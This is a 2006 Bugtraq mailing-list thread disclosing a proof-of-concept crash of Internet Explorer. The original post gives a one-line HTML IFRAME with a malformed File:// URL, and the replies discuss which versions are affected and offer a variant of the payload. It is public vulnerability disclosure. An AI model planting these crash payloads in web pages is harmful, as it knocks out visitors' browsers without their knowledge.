If you change: <HTLM><BODY><IFRAME src="File://þ:/"></BODY></HTML>
to: <HTLM><BODY><IFRAME src="File://%f%f%f%f:/"></BODY></HTML> it will also crash IE 6.x. Don't know about 7 Beta. -cdh ----- Original Message ----- From: "Greg Merideth (Forward Technology)" <[EMAIL PROTECTED]> Date: Monday, June 12, 2006 1:18 pm Subject: RE: Internet Explorer vulnerbility To: [EMAIL PROTECTED], bugtraq@securityfocus.com > IE7 Beta 2 build [7.0.5346.5] parses without crashing. > > Greg Merideth > Forward Technology, LLC. > CTO & Other Wild Stuff > [EMAIL PROTECTED] > PGP Fingerprint > 18C3CE191171736225D62C3829F7B18A00F2AC0C > > -----Original Message----- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Sent: Thursday, June 08, 2006 3:01 PM > To: bugtraq@securityfocus.com > Subject: Internet Explorer vulnerbility > > /* > * > * Internet Explorer Crash [Proof of concept] > * Bug discovered by MarjinZ & Mr.Niega > * http://www.swerat.com/ > * > * Affected Software: Internet explorer > * Severity: Unknown > * Impact: Crash > * Solution Status: Unpatched > * > * E-Mail: [EMAIL PROTECTED] & [EMAIL PROTECTED] > * __ __ __ __ > *| \/ | __ _| \/ | > *| |\/| |/ _` | |\/| | > *| | | | | | | | | | > *|_| |_|_| |_|_| |_| > * Credits goes out to GärBiz a.k.a *Gabriel,Garbiz,Gabbelito,Gärbpiz > * [EMAIL PROTECTED]@[EMAIL PROTECTED] §w€nn§0n > * > */ > <HTLM><BODY><IFRAME src="File://þ:/"></BODY></HTML> > >